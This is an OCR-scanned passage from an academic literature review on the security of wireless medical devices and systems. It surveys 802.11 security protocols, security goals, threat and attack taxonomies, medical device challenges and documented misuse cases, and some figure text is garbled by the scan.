802.1X). Even though AES utilises a 128-bit key to provide stronger security,
RNS runs weakly on legacy devices (Bulbul et al., 2008). On the other hand, some
researchers (Lashkari et al., 2009, p. 52) mentioned that the EAP framework
including the RADIUS server should be used in order to offer “the optimal
balance between cost, manageability and risk mitigation” when using 802.1X
with 802.11i. To sum up, there has been a number of built-in wireless security
features in 802.11 that is standardised by the IEEE since 1997 (see Figure 4.3).

IEEE
Wireless security and ~ ratified ]FSJ{E.C (EEE
technology timeline 802 11b WIreless
8 % VPN's  ratified  WPA
802.11a emerge  8021x  emerges
1997 1998 1999 2000 2001 2002 2003 2004 2005
802.11b WEP Wireless IEEE IEEE
Old non-standard products security sateways/Firewalls ratifiad ratified
wireless systems ship nolonger  SMETES 802115 802.11i
no security secure
no interoperability

Figure 4.3: Wireless security architecture timeline (Earle, 2005, p. 270)
WPAZ2 has replaced the legacy 802.11 security (WEP) to address security issues.
Table 4.1 summarises the comparison of IEEE 802.11 security protocols.
However, WPA2 was cracked in 2017 and replaced by WPA3 in 2018 (Vanhoef
& Piessens, 2019).
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4.2 SECURITY GOALS OR REQUIREMENTS OF IEEE 802.1X
WIRELESS NETWORKS

In order to evaluate the security risks and threats of WMedSys and WMedDs, it is
essential to establish the goals of security. Hence, the essential goals or four
principles of information security are critical as anchor points for benchmarking
performances and expectations. The following sub-sections will briefly explain
the critical security components of information security in terms of confidentiality,
integrity, availability and authentication (CIAA).

4.2.1 Confidentiality

Confidentiality is an important security component of any organisation, either
business enterprises or healthcare providers. Karygiannis and Owens (2002) states
that the objective of confidentiality is to avoid critical confidential information
being leaked or compromised from passive attacks (for example, eavesdropping
attacks) initiated by people with malicious intent. Likewise, Frankel et al. (2007)
points out that most wireless threats include, at least, an attacker with access to the
radio link between a wireless STA and an AP (in wireless infrastructure mode) or
between two STAs (in wireless ad-hoc mode). Furthermore, Al and Yoshigoe
(2011) mention that the data or messages in wireless communications can be
captured by eavesdropping attacks. The reality is that “wireless networks
propagate signals into space, making traditional physical security
countermeasures less effective and access to the network much easier” (Scarfone
et al., 2008, p. 27). Hence, the confidential or sensitive data from a sensor or a
WMedD (either on or in the body) should not be leaked or intercepted and should
only be transmitted to authorised and intended receivers via a secure channel (Al
& Yoshigoe, 2011). Even though the confidentiality of wireless data can be
achieved by one of the many encryption mechanisms, it has to be strong enough
to stop an unauthorised user accessing information (Al & Yoshigoe, 2011).
Previous researchers (Halperin et al., 2008; Li et al., 2011; Gollakota et al., 2011)
demonstrated how WMedSys and WMedDs could be compromised by
eavesdropping. Moreover, the consequence after confidentiality is compromised
(e.g. patient’s confidential data including the medical conditions and device PIN
is intercepted) will be life threatening for patients with WMedDs such as insulin

pumps and implantable medical devices (Halperin et al., 2008; Li et al., 2011,
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Radclieffe, 2011). Therefore, confidentiality is one of the critical security
objectives to ensure that any unauthorised person will not have access to sensitive

information by sniffing the communication link between wireless devices.

4.2.2 Integrity

Integrity of data generally addresses whether or not the original data is modified
by unauthorised parties. In other words, the modification of data (editing,
changing or deleting, etc.,) should only be performed by authorised parties (Goyal
et al., 2010). Hence, the message or data being transferred from a source to the
destination within either wired or wireless network should never be modified or
corrupted in order to maintain the integrity (Al & Yoshigoe, 2011). However, the
researchers (Scarfone et al., 2008; Karygiannis & Owens, 2002) state that the
issues related to the integrity of data in wireless networks are comparable to those
in wired networks. In fact, integrity could be very hard to achieve if organisations
deployed either wireless or wired communications with inadequate cryptographic
safeguards for transmitted data (Scarfone et al., 2008; Karygiannis & Owens,
2002). For example, wirelessly transmitted medical data of a patient with
implanted (such as ICD or 1ID) or wearable medical device (such as insulin pump)
can be illegitimately obtained and modified by a malicious person or an attacker if
there is no encryption of the transmitted data (Malasri & Wang, 2009; Halperin et
al., 2008; Li et al., 2011; Gollakota et al., 2011). On the other hand, Scarfone et al
(2008, p. 28) claim that “active attacks that compromise system integrity are
possible” as a result of “the existing security features of the 802.11 standard do
not provide for strong message integrity”. Nevertheless, in order to prevent and
detect the modification of data by unauthorised parties, “cryptographic checking
mechanisms such as message authentication codes and hashes” should be used
(Karygiannis & Owens, 2002, p. 38).

4.2.3 Availability

Availability ensures that network assets, both data and services, are available to
authorised parties in a reliable and timely manner (Goyal et al., 2010; Veltsos,
2011). Thus, availability is also one of the critical security requirements of every

organisation or healthcare provider. For instance, the patient physiological or
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medical data should be available despite under denial of service (DoS) attacks in a
WBAN or WLAN.

4.2.4 Authentication

Authentication can be generally referred to as a security mechanism that enables
“to verify the identity of communicating client stations” (Scarfone et al., 2008, p.
21) and controls access to the network resources by either granting or denying
with respect to the legitimacy of communicating clients. Likewise, authentication
assures that communication parties or clients are ‘“authenticated and not
impersonators” as only an authorised sender can originate a message or
information transfer (Goyal et al., 2010, p. 12).

Similarly, the sending and receiving clients participating in a
communication must be able to identify each other or a third-party entity. For
instance, the legacy “IEEE 802.11 specification defines two means to validate
wireless users attempting to gain access to a wired network” such as open-system
and shared-key authentications (Karygiannis & Owens, 2002, p. 30). The former
authentication method is not actual authentication and the latter deploys a simple
challenge-response cryptographic technique (Karygiannis & Owens, 2002). The
wireless AP authenticate a mobile STA to access resources without verifying the
STA’s true identity in open-system authentication even though the identity of the

mobile STA is authenticated in shared-key authentication (see Figure 4.4).

Wireless STA Wireless AP

@ﬂ—'z—z%ﬁ ))

; Authentication
User Request

T == Generate random
number to challenge

STA
Challenge -

Encrypt challenge
using RC4 algorigthm
—— Response

Decrypt response (o
recover challenge

Confirm success _ _ ——  WVerify that challenge

— cquates
- —

Figure 4.4: Shared-key authentication message flow between wireless AP and STA
(adapted from Scarfone et al., 2008, p. 23)
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According to the shared-key authentication, AP generates a random challenge and
sends it to the associating client in a plaintext format (Scarfone et al., 2008;
Karygiannis & Owens, 2002). Then, the client STA responds with a RC4
encrypted (stream cipher) message. Afterwards, the wireless “AP decrypts the
result computed by the client and allows access only if the decrypted value is the
same as the random challenge transmitted” (Scarfone et al., 2008, p. 22).
However, in such a shared-key authentication method in legacy wireless networks,
mutual authentication is not essential as only the AP authenticates the STA (not
vice visa). Hence, the legacy wireless networks are vulnerable and suffer from
different attacks including eavesdropping and man-in-the-middle attacks. This is
the result of the initial exchange between the AP and the client STA by using the

plaintext challenge and encrypted response (Scarfone et al., 2008).

4.3 WIRELESS SECURITY THREATS

Wireless networks and devices have ubiquitously deployed to change the way
people live, communicate and work. However, these networks and devices do not
only bring the benefits, but also convey new threats and vulnerabilities to users.
Even though, there are built-in security mechanisms in of IEEE 802.11 WLANSs
(as stated in Section 4.1), there exists the risk in which a wireless network or
device may be compromised or misused by a malicious person. Vulnerabilities are
intentionally (e.g. insider threat) or unintentionally (e.g. through mistake or
inexperience) originated with wireless technology and can be compromised by
malicious attackers (D’Amico et al., 2010). For instance, an employee with
malicious intent may implement an unauthorised AP in a secure company’s

network to perform either passive or active attacks.

A malicious outsider can attack the system through unintentional
misconfigured wireless devices. Furthermore, Frankel et al. (2007, p. 27)
mentions that most of the wireless threats entail “an attacker with access to the
radio link between a STA and an AP or between two STAS”, as stated in Section
4.2.1. Similarly, Diksha and Shubham (2006) classified wireless security threats
into two categories: common, and malicious wireless threats. Common wireless
threats include “rogue APs, mis-configured APs, client mis-associations and ad

hoc connections” whereas malicious wireless threats comprise “evil twin/honeypot
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APs, rogue clients and denial of service attacks” (Diksha & Shubham, 2006, pp.

2-3). The major threats related to commonly known wireless networks and

devices are summarised in Table 4.2.

Table 4.2: Types of major threats against wireless networks and devices (adapted from
Diksha & Shubham, 2006, pp. 2-3; Frankel et al ., 2007, p. 28)

THREAT TYPE

DESCRIPTION

Ad hoc or Peer-to-Peer
Connection

Attacker can exploit a wireless client or device after
establishing ad hoc connection (unauthorised client attempts
to form ad hoc network with legitimate client). After
establishing the ad hoc connection, the attacker can perform
port scanning to explore and exploit client vulnerabilities.

Client Mis-association

Attacker can compromise a corporate wireless client after
the client within business premises mis-associates or
connects to an unauthorised external Wi-Fi network (which
is set up by an attacker by using a rogue AP).

Denial of Service
(DoS)

Attacker prevents or prohibits the normal
management of networks or network devices.

use or

Eavesdropping

Attacker passively monitors network communications for
data, including authentication credentials.

Evil Twin/Honeypot
AP

Attacker sets up Honeypot AP with a default service set
identifier (SSID, network name) hotspot SSID, or corporate
SSID and observes many wireless clients connect to it and
can then be initiate attacks on connected clients (e.g. stealing
passwords by presenting a fake Facebook login page to
clients over the mis-associated wireless connection.

Man-in-the-Middle

Attacker actively intercepts the path of communications
between two legitimate parties, thereby obtaining
authentication credentials and data. Attacker can then
masquerade as a legitimate party. In the context of a WLAN,
a man-in-the-middle attack can be achieved through a bogus
or rogue AP, which looks like an authorised AP to legitimate
parties.

Masquerading

Attacker impersonates an authorised user and gains certain
authorised privileges.

Message Modification

Attacker alters a legitimate message by deleting, adding to,
changing or recording it.

Message Replay

Attacker passively monitors transmissions and retransmits
messages, acting as if the attacker were a legitimate user.

Mis-configured AP

Attacker can take advantage of a potential security hole
(open door) created by a mis-configured AP to launch an
attack on the corporate network.

Rouge AP

Attacker can either plugged an unauthorised AP into the
corporate network or use a computer (e.g. laptop) running
software Fake AP to provide wireless access to Wi-Fi clients
within the range.

Rogue Clients

Attacker actively access an authorised cooperate wireless
network via mis-configured AP (e.g. encryption turned off)
or through an AP after compromising
encryption/authentication.

Traffic Analysis

Attacker passively monitors transmissions to
communication patterns and participants.

identify
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4.4 WIRELESS ATTACKS

The security requirements of IEEE 802.x wireless networks and wireless security
threats have been stated in the previous sections (Section 4.2 and Section 4.3).
Ashraf et al. (2009, p. 2) stated “the vulnerability is a weak-point in the system or
network that may be exploited, whereas a threat is considered as an external or
internal influence that may exploit the vulnerability (weak-point)”. Moreover, an
attack is defined as “the consequence of a threat that causes an unwanted event to
be occurred in a system such as data steal, denial-of-service, sniffing, spoofing,
etc.,” (Kim et al., 2006; Barnum & Gegick, 2005; cited in Ashraf et al., 2009, p.
2). Like all other wired networks, wireless networks and devices are susceptible to
malicious attacks. However, wireless networks and devices are more vulnerable to
different attacks than its counterpart (wired networks). There are numerous
published articles that emphasize the point and list the significant security attacks
on wireless networks and devices. For instance, Chanzigiannakis (2007, p. 1408)
lists the major security threats for wireless sensor networks (WSNs) and proposed
“a decentralised intrusion detection system” to improve security in order to
prevent attacks “from both external and internal adversaries”. Likewise, Gill and
Yang (2009, pp. 2063-2065) reviewed three most common denial-of-service (DoS)
attacks on WSNs such as “UDP flooding”, “TCP SYN” and “Smurf” attacks and
proposed “Virtual Home — DDoS attack detection mechanism”.

Attacks
[ |
Passive Attacks Active Attacks
I
[ | [ |
Eavesdropping Traffic Analysis Masquerade Replay
Message Modification Denial-of-Service

Figure 4.5: Taxonomy of WLAN security attacks (Karygiannis & Owens, 2002, pp. 35)
Similarly, other researchers mentioned different types of vulnerabilities and
security attacks in WSNs (Mahmoud & Shen, 2012; Hua & Li, 2012; Lee et al.,
2012; Jain et al., 2012; Srivastava & Goel, 2011; Li et al., 2010; Alcaraz & Lopez,
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2010; Dargie & Poellabauer, 2010; Al Ameen et al., 2010; Mpitziopoulos et al.,
2009; Healy et al., 2009; Ramond & Midkiff, 2009; Chen et al., 2009; 2008;
Bojkovic et al., 2008; Tahir & Shah, 2008; Kumar et al., 2008; Habib, 2008; Zia
& Zomaya, 2006; Pathan et al., 2006; Ng et al., 2006; Newsome et al., 2004).

Table 4.3: Classifications and association of security VTAs with discrete security

assessment framework (Ashraf et al., 2009, pp. 2-3)

Vulnerability: Average energy exhaustion (network), low
computational capacity, limited network storage time, self-
organisation, fault-tolerance level, distributed storage, task
details, simple ciphering, and node deployment

MSIRAAOIN Threat: Topology change, change of frequency, large
messaging overhead, non-scalability, recursive routing, system
failure

Attack: Complete DoS or DDoS

Vulnerability: Radio link, Signal transmission range (916MHz,
2.4GHz), Broadcasting, Topology-less infrastructure, Ad hoc
Topology information

Threat: Non-reachable, Link-failure, High-density of nodes,
Indefinite jamming of signals, Data tampering, High noise,
unmanaged mobility, Higher delays (link-setup)

LINK

Attack: Collision or checksum mismatch, Unfairness, Spoofing,
Sybil, Wormholes, Hello-flood, ACK-spoofing
Vulnerability: Energy exhaustion @ Sink, Task details

SINK Threat: Unauthorised access

Attack: Sinkhole, De-synchronisation
Vulnerability: Energy exhaustion @ Node, Resilience to
physical security, Limited memory, Short-storage time

MEIRIS Threat: Node failure, Recursive location, Indefinite flooding

Attack: Selective forwarding
Vulnerability: ---

Threat: Natural hazards, Environmental interference, Human

DUAIER Interaction (to damage network), Catastrophic (man-made)

Attack: Nil
On the other hand, Karygiannis and Owens (2002, pp. 35-36) classified the

common security attacks in WLANS into passive (“eavesdropping”, “traffic
analysis”) and active (“masquerading, replay, message modification and denial-

of-service”) attacks (see Figure 4.5), whereas other researchers (Watfa and Safa;
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2008) generally stated different attacks on WLANS (such as jamming, insertion,
misconfiguration, interception and monitoring attacks).

With regard to radio frequency identification (RFID) technology,
Karygiannis et al. (2006; cited in Ding et al., 2008) categorises a RFID risk model
into three classes: “network-based risks, business process risks, and business
intelligence risks”. Ding et al., (2008) proposes the taxonomy model of RFID
security threats in three layers: physical layer threats (eavesdropping, jamming
and tag cloning), communication layer threats (collision), and application layer
threats (spoofing and virus attacks). Mitrokotsa et al. (2010) classify RFID attacks
into layers where the attack could take place. Ashraf et al. (2009, p. 2) classified
WSNs’ security issues in association with vulnerabilities, threats and attacks

(VTASs) by using a “discrete security assessment framework” to completely

identify any layer of WSNs under attack (see Table 4.3).

Table 4.4: Potential adverse events in various implantable medical devices (Hansen &
Hansen, 2010, p. 15)

1970); Ventricular Assist Device
(Glenville & Ross, 1986)

DEVICE ADVERSE EVENTS
Pacemaker, Implanted Cardiac | Heart failure, Tachycardia, Bradycardia,
Defibrillator  (Mirowski et al., | Arrhythmia

Cochlear Implant

Deafness, Phantom sounds,

Distraction/Confusion

Prosthetic Limb Control System
(Velliste et al., 2008)

Injury, Damage to prosthetic limb, Inadvertent
movement

Spinal Cord Simulator (Brindley et
al., 1982)

Loss of pain relief, Inappropriate stimulation

Sacral Anterior Root Simulator
(Brindley et al., 1982)

Infection from inability to void, Inappropriate
stimulation

Retinal Prosthesis (Chow et al.,
2004), Implanted Contact Lens,
Intraocular Lens

Blindness, Phantom
Distraction/Confusion

images,

Implanted Infusion Pump

Inappropriate dosage/timing

Brain-Machine Interface and Other
Neuroprosthesis (Santhanam et al.,
2006; Song et al., 2009)

Loss of consciousness, Neural effects (Denning
et al., 2009)

Responsive Neurostimulator and
Other Deep Brain Simulator (Sun et
al., 2008)

Inappropriate stimulation, Failure to stimulate

Implanted Monitor or Sensor

Incorrect readings

Implanted RFID Tag (Halima et al.,
2006)

Loss of privacy, Data leakage

Implanted Dynamic LED Tatto

Inappropriate display
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Hansen and Hansen (2010) described different types of potential adverse events
that could happen to different IMDs (Table 4.4), and Ng et al. (2006) defined

different wireless security threats and countermeasures on WSNs (Table 4.5).

Table 4.5: Wireless sensor networks security threats, security requirements and
possible solutions (Ng et al., 2006, p. 141)

Security Threats Security Possible Security

Requirements Solutions

Unauthenticated or unauthorised | Key establishment and e Random key
access trust setup distribution
e Public key

cryptography

Message disclosure Confidentiality and e Link/network layer

privacy encryption

e Access control

Message modification Integrity and e Keyed secure hash
authenticity function
e Digital signature
Denial-of-service (DoS) Availability e Intrusion detection
e Redundancy
Node capture and compromised Resilience to node ¢ Inconsistency
node compromise detection and node
revocation
e Tamper-proofing
Routing attacks Secure routing e Secure routing
protocols
Intrusion and high-level security | Secure group e Secure group
attacks management, intrusion communication
detection, secure data e Intrusion detection

aggregation

4.5 RISKS OR CHALLENGES OF WIRELESS MEDICAL DEVICES AND
SYSTEMS

“Christopher Nowak of Universal Healthcare Services Inc. describes everything
we do is for the benefits of the patients and impacts the outcome of their care”
(Loughlin & Williams, 2011, p. 98). Medical devices are being integrated into
hospital information systems. However, medical devices create an exclusive
exposure to threats and attacks (Sections 4.3 & 4.5) as a result of difficulties in
not only protecting against viruses and other malicious attacks, but also
difficulties in software upgrades and updates (Loughlin & Williams, 2011). For
instance, a medical device will not be working effectively when an anti-virus
program slows down the operations in the medical device and uses the limited
resources. Witters (2011) argued that the risks related to WMedDs and WMedSys
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(see Table 4.2) should be effectively identified and attended to, although the
advantages of employing wireless technologies (Section 3.2) in the medical or
healthcare industry can prevail over the risks. The way in which the risks
associated with WMedDs can be addressed is by the detailed description of
wireless technology and the associated wireless devices (Witters, 2011).
Furthermore, Loughlin and Williams (2011, p. 99) say that “the trend for clinical
engineering has been to come increasingly intertwined with information
technology ... this trend will continue and today’s successful biomed needs to
have some grounding in IT training”. The previous researchers (Loughlin &
Williams, 2011) explained the top ten challenges faced by biomedical and clinical
engineering departments related to medical devices after surveying “2,522 biomed
technicians and clinical engineers by asking them to rank 22 medical device-
related challenges” (p. 99). Hence the top ten medical device challenges and
possible solution are summarised in Table 4.6.

Table 4.6: Summarised top ten medical device challenges and possible solutions
(Loughlin & Williams, 2011, pp. 99-103)

Challenge Possible Solution/Best Practice

1. Interfacing “Provide appropriate education and training” to biomeds
between devices | or technicians (Loughlin & Williams, 2011, p. 99).
and information
systems

2. Maintaining Kenneth Maddock of Baylor Health Care System suggested
computerised medical device manufacturers should validate “their
equipment and | equipment with the most popular anti-virus and should
systems provide clear instructions on how to install anti-virus

program on particular devices” (Loughlin & Williams,
2011, p. 100).

3. Managing Clinical staff from clinical engineering (CE) departments

alarms should be given education and training about the “alarm
setup, default settings and proper use of alarms” in order to
avoid the life and death of patients when “alarms could not
either be heard or ignored” ” (Loughlin & Williams, 2011,
p. 100).

4. Maintaining and | Biomeds from CE departments should be given proper
processing education and training on how to clean, sterilise and
endoscopes maintain endoscopes as such devices are very sensitive and

can be broken easily.

5. Broken Kenneth Maddock of Baylor Healthcare System mentioned
connectors that “virtually all medical devices have some sort of

Connector... they can be difficult to replace” (Loughlin &
Williams, p. 104). Furthermore, “Jim Welch of Masimo
Corp., a global medical technology company, mentions that
broken connectors are the most common cause of no

53



problems founds (NPFs) when a clinician raises a concern
about a device and then a technician checks it out”
(Loughlin & Williams, 2011, p. 101). To prevent the issues
related to broken connectors, setting a timer in connectors
to remind if replacements are needed after a number of
predefined connections has been reached (Loughlin &
Williams, 2011).

6. Wireless The demand in wireless enabled medical devices for
management flexibility is raising one of the challenges in
hospital/healthcare industry. Proper education and training
should be given to biomeds and IT personnel in order to

maintain the devices (Loughlin & Williams, 2011).

7. Battery Healthcare facilities and patients/users of the medical

management devices should have efficient “battery maintenance and
replacement in their budgets as part of the preventive
maintenance (PM) program” (Loughlin & Williams, 2011,
p. 102). It is important to give proper training biomeds and
patients/users of the medical devices. Likewise, additional
replacement battery packs and chargers should be given to
mobile users of physiological monitors and defibrillators as
batteries can easily be failed due to no power outlets
available (Loughlin & Williams, 2011).

8. Problems with | CE has to work with appropriate stakeholders, IT and
patient monitors | clinicians to establish “a risk management process that
(in-hospitals or | identifies  vulnerabilities” associated with  patient
at  home, at | monitoring systems and devices in order to mitigate all
work and | substantial risks (Loughlin & Williams, 2011, p. 103).
around the
community)

9. Problems with | It is essential to “review the service schedule with
dialysis clinicians and nurse managers responsible for dialysis
equipment service in advance of scheduled maintenance” (McCarthy,

2011, cited in Loughlin & Williams, 2011, p. 101).

10. Managing the | According to the Emergency Care Research Institute
radiation  dose | (ECRI), “radiation overdose and other dose errors as its top
from Computed | health technology hazard for 2011 as a result of human
Tomography (wrongly administered radiation) or software-related errors
(CT) (Loughlin & Williams, 2011, p. 103). CE has to work

with appropriate stakeholders, IT and clinicians to keep up
the performance of such therapy systems and devices by
regular maintenance.

4.6 MISUSE OF WIRELESS MEDICAL SYSTEMS

A misuse can be defined as a negative “behaviour that is not allowed in the
proposed system” (Sindre & Opdahl, 2005; cited in Smith et al., 2010, p. 3). For
instance, a misuse can be referred when a malicious hacker attacks a wireless
medical system like an insulin pump system, to compromise patient safety by
stopping or changing the dosage of the drug-administration. Likewise, RFID

enabled wireless medical systems used for patients’ monitoring or tracking in
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hospitals can be exploited by malicious hackers using any one of the potential
attacks on implantable identification devices (I1IDs), such as the cloning attack
(Malasri & Wang, 2009). The 11Ds are commonly implantable RFID tags with no
power and vulnerable to threats. Hence, the attacker can compromise the privacy
of the patients when the patient unique IDs are obtained by using an external
RFID scanner.

Table 4.7: Classifications of WLAN misuse (adapted from Ngobeni et al., 2010, p. 108;

Slay & Turnbull, 2006, p. 127)

Class Description Misuse Example
Wireless Detection | Misuse involves an intruder | Unauthorised use of
and Connection using the wireless medium as a | WLAN or use of the
tool to commit other criminal | WLAN as a launch pad

activities. for  other  criminal
activities
Concealment of Misuse involves hidden | Fake access point

Digital Evidence | wireless devices or hidden
wireless networks.

WLAN as an Misuse involves attacks against | Rogue access point,
Attack Vector) the devices originated from the | Man-in-the-Middle
wireless network and then | attacks

attacks against the WLAN
medium itself.

The illegitimate misuse of WLANSs deployed for the pervasive continuous health
monitoring of patients in a hospital can be classified into three groups (see Table
4.7). For instance, “the misuse of Wake Internal Medicine was where the wireless
medium was merely a vector susceptible to attack” (Niemann, 2004; cited in Slay
& Turnbull, 2006, p. 127). The case was concluded as the attack was long term
and well planned. Similarly, the misuse of wireless medical systems can also be
caused by the deployment of new wireless devices within the existing IT system.
Hence, Witters (2011) discusses some of the case studies concerned with the
problems related to the deployment of wireless devices in hospitals (see Table
4.8).

Malasri and Wang (2009, p. 75) also stated that the VeriChip Corp.’s
RFID tag allows doctors, nurses or healthcare professionals to promptly access
patients’ medical related data in the backend database called VeriMed (Malasri &
Wang, 2009). However, Halamka, Juels, Stubblefield, and Westhues (2006, p. 601)
argued that “the VeriChip (a commercially produced, human-implantable RFID

tag) should serve exclusively for identification, and not authentication or access
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control” as it was susceptible to an easy “over-the-air spoofing attacks”. In 2012,
VeriTeQ Acquisition Corporation or VeriTeQ acquired the “VeryChip
implantable microchip and related technologies, and Health Link personal health
record (PHR) from Positive ID Corporation” to focus in identification of patients,
identification of implanted medical devices, identification and sensor applications
for animals (Business Wire, 2012, p. 1). Then, the chip from PositivelD was
acquired by JAMM Technologies in 2016 and secure version of RFID tags were
started to use to identify and monitor the medical device and patients (PositivelD,
2019).

Table 4.8: Problems related to the deployment of wireless devices in hospitals (adapted
from Witters, 2011, pp. 49-52)

Project Purpose Problem Cause Recommended
Active Deployed 802.11 | Loss of data on | APs are not | The true cost of
RFID Tags | based active | 802.11  based | acknowledging | the installation

RFID tags for | patient data due to not | must me learnt
locating and | monitoring implementing before the
tracking system off-channel deployment
equipment in a scanning on
hospital APs
Microwave | Replacing one of | Radio After the | Adding more
Oven two industrial | Frequency replacement the | Aps at larger
microwave ovens | Interface / | microwave distance from
in a hospital Electromagnetic | ovens did not | the  interring
Interference run in phase microwave
(RFI/EMI) ovens

Hospital should
document  all
RF sources and

perform

periodic

reviews
Wireless Installed more | War driver | WEP encryption | To mitigate the
Medical wireless devices | hacks into the | is only | risk,  hospital
Devices on its existing | hospital supported by | would install a
(WMedDs) | IEEE 802.11 b/g | wireless the new | firewall, or a

wireless network | network  and | wireless devices | separate
access sensitive | and it is very | wireless
medical data | easy to be | network

after deciphered dedicated to the
compromising medical device
the security of

Servers

The real-world cloning attack or misuse case was carried out efficiently on the
VeriChip (Halamka et al., 2006; cited in Malasri & Wang, 2009). Even though the
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deployment of wireless technologies in the healthcare setting can not only offer
benefits to the healthcare professionals but also to patients, the pervasiveness of
WMedDs and applications may possibly lead to potential misuse cases (Pyrek,
2011). Hence, Hansen and Hansen (2010) described the potential adverse events
can occur by using various implantable medical devices. For instance, the use of a
pacemaker or implanted cardiac defibrillator or ventricular assist device could
lead to heart failure, arrhythmia, tachycardia and bradycardia. In the medical
healthcare industry, the electronic medical records of patients are at high risk as
these records tend to be stored in a centralised location. The patients’ data could
be lost due to a virus infection into the hospital or clinical information systems,
and malicious hackers can break into the systems in order to access and change
the patients’ information (Kierkegaard, 2011). For instance, McBride (2011; cited
in Kierkegaard, 2011, p. 510) stated that a California-based Kern Medical Centre
was attacked by hackers in 2010. As a result, the hospital’s computers were
crammed with porn and the printers were forced to print until the paper ran out.
Eventually, the system of Kern Medical Centre was shut down for 16 days
(Kierkegaard, 2011). In addition to malicious hackers accessing the hospital
information systems, the medical devices including implanted and monitoring
devices (such as PDAs, iPads, and smartphones used by nurses and doctors) could
be infected by viruses. Hence, the security and privacy of the patients can be
compromised. Similarly, there were cases of malicious attacks in which the
hackers or extortionists demanded ransoms worth of million dollars. For instance,
hackers demanded $10 million after stealing 8 million patients’ medical records
from a Virginia state website used by pharmacists in 2009 (Kierkegaard, 2011, p.
510). Likewise, the extortionists threatened “fo disclose personal and medical
information on millions of Americans in October 2008 if Express Scripts, which is
the largest pharmacy prescriptions processor in America, failed to meet the
payment demands” (Krebs, 2008; cited in Kierkegaard, 2011, p. 510). Moreover,
the insider threat and human error, such as errors caused by healthcare
professionals, are one of the serious data vulnerabilities encountered in the
medical healthcare industry. Kierkegaard (2011, p. 511) described that
“researchers for London Health Programmes revealed that they had lost

unencrypted records of 8.63 million National Health System patients .
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4.7 REVIEW OF PROBLEMS AND ISSUSES

According to the previous literature reviewed, there have been a number of issues
and challenges related to the deployment of wireless communications and
WMedDs in the healthcare industry that have potential to balance the benefits
such as greater physical mobility and interoperability (Cypher et al., 2006). The
numerous issues involve “a lack of comprehensive coverage of wireless and
mobile networks, reliability of wireless infrastructure, general limitations of
handheld devices, medical usability of sensors and mobile devices, interference
with other medical devices, privacy and security, payment and many management
issues” (Varshney, 2007, p. 124). The issues and challenges are summarised in
this section in order to identify researchable areas and the relevant gaps in the

literature.

4.7.1 Issues with WMedDs’ limited resources

Generally, WMedDs have limited resources (e.g. computational power, memory,
and battery power). The resource constraints are one of the factors that can lead to
compromised security and privacy of patients or device users. However, to ensure
the security and privacy of patient’s physiological data in Wireless Medical
Networks (WMNSs), Yao et al. (2011) state that cryptographic algorithms can be
used. Asymmetric key cryptography is not feasible to implement in WBAN due to
limited resources of the wireless medical sensors. In fact, asymmetric key
algorithm demands more resources such as computational power and storage
capacities. Hence, in order to safeguard the problem with security and privacy in
BANSs, some researchers (Yao et al., 2011, p. 8) proposed an electrocardiogram
(ECG)-signal-based biometric symmetric key establishment scheme that could
“protect the confidentiality and integrity of sensitive health information”. Also see:
Karie and Venter (2015); Karie, Kebande, and Venter (2017); Kebande and
Venter (2014); Kebande and Venter. (2015); and, Kebande and Venter (2016).

4.7.2 Electromagnetic Interference (EMI) in 2.4 GHz ISM Band

It is important to ensure that wireless devices used in hospitals or healthcare
environment must meet safety and the Electromagnetic Compatibility (EMC)

requirement (Turab et al., 2010). The nature of wireless devices does allow the
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users of those devices to go anywhere at any time. As a result, there exists a
potential issue related to the Electromagnetic Interference (EMI) among
WMedDs employing the same ISM frequency band of 2.4 GHz. These wireless
devices are not only sharing wireless channels in the 2.4 GHz band (see Figure
4.6), but also are capable of operating in very close proximity to each other
(Cypher et al., 2006, Boyle, 2006, cited in Turab et al., 2010). For example,
research has shown that a Bluetooth enabled device can cause delay in
transferring patient data or "the packet loss up to 60 percent at MAC sublayer of
the low-rate WPAN Electrocardiogram (ECG) monitor at very close range"
(Cypher et al., 2006, p. 60).

L XD
mp | ||||||||
DMHz !

1
1 2412 + kwhere k = {0, 5,... 50} 2437 2462
i

| |
> 1o LTI T I IIIII
.

TMHz 1 24024k where k= {0.1, 2, .. 78}
1

1 1
O O T O O O O O O O O O R
soaasa ULV YL L
éﬁhmannels:_ll_l._ll_.l_.l_lu._.|_||4,_|I_.|_H_.|_.|_II_:

z 1 1

1
E 2405 + k where k = {0, 5, ... 75}

i
i i
2400 MHz 2483.5 MHz

Figure 4.6: Frequency map for selected IEEE 802 specifications in the 2.4 GHz

(Cypher et al., 2006, p. 59)
The techniques (collaborative and non-collaborative) to mitigate the interference
issues caused by the coexistence of WLAN and Bluetooth-enabled devices have
been discussed by Lansford et al. (2001, cited in Cypher et al., 2006).
Nevertheless, the problem with interference is still unavoidable. Thus, there is a
need for “a strict monitoring and control of spectrum usage is put in place in
order to constantly detect spectrum usage and direct the choice of which
technology to use” in the medical healthcare environment (Cypher et al., 2006, p.
61).

4.7.3 Insider Threats and Attacks in Wireless Networks

The threats associated with insiders are one of the critical security issues in either
wired or wireless networks (e.g. WSNs). Although, most of the wireless networks
are deployed with cryptography-based authentication and authorisation to protect

malicious attacks from outsiders, “the traditional security mechanisms such as
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authentication and authorisation cannot catch

inside attackers”

who are

authorised and legitimate users of the network (Cho et al., 2012, p. 134).

Table 4.9: Different types of insider attacks in WSNs (adapted from Ren et al., 2006,

pp. 3-4)
Cryptography-
Insider Attack Types based Detection
solution*

1. | Data Message delay attack No Such attacks can be
forwarding | Selective  forwarding No detected if end-to-end
related attack acknowledgment IS

Message alteration Yes explicitly compulsory for
attack every message transmitted,
Message replay attack Yes as a compromised node
Sinkhole attack No may drop one packet per
Message collision No message to maximise the
attack attack (Ren et al., 2006).

2. | Data Bogus data attack No Such attacks can be
generation | Bogus query attack No detected if there are nodes
related Report disruption Yes with significantly sensing

attack results as compromised
nodes always either comes
up with incorrect sensing
result to deceive its
neighbours  during the
process of
sensing/aggregation or
irregularly initialise bogus
gueries (Ren et al., 2006).
3. | Routing Hello attack Yes Routing related attacks
related Wormhole attack Yes (Ren et al., 2006) are
Bogus routing info Yes generally hard to detect
attack Yes (for instance a
Sybil attack compromised node
launching message
collision attacks).

4. | Physical Byzantine attack No Attacker runs malicious
related Node replication attack Yes code to compromise the

Node relocation attack Yes software platform of a
sensor node in a Byzantine
attack (Shi et al., 2005,
cited in Ren et al., 2006, p.
4). By applying code
attestation techniques on
the sensor node itself,
Byzantine attacks can be
identified.

*The judgements are obtained in the context of static and

cryptographic mechanisms in place.

location-aware WSNs with
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Insider attacks can affect the network and cause disruption as a result of the
wireless transmitted data being dropped, modified, or misrouted by attackers (Cho
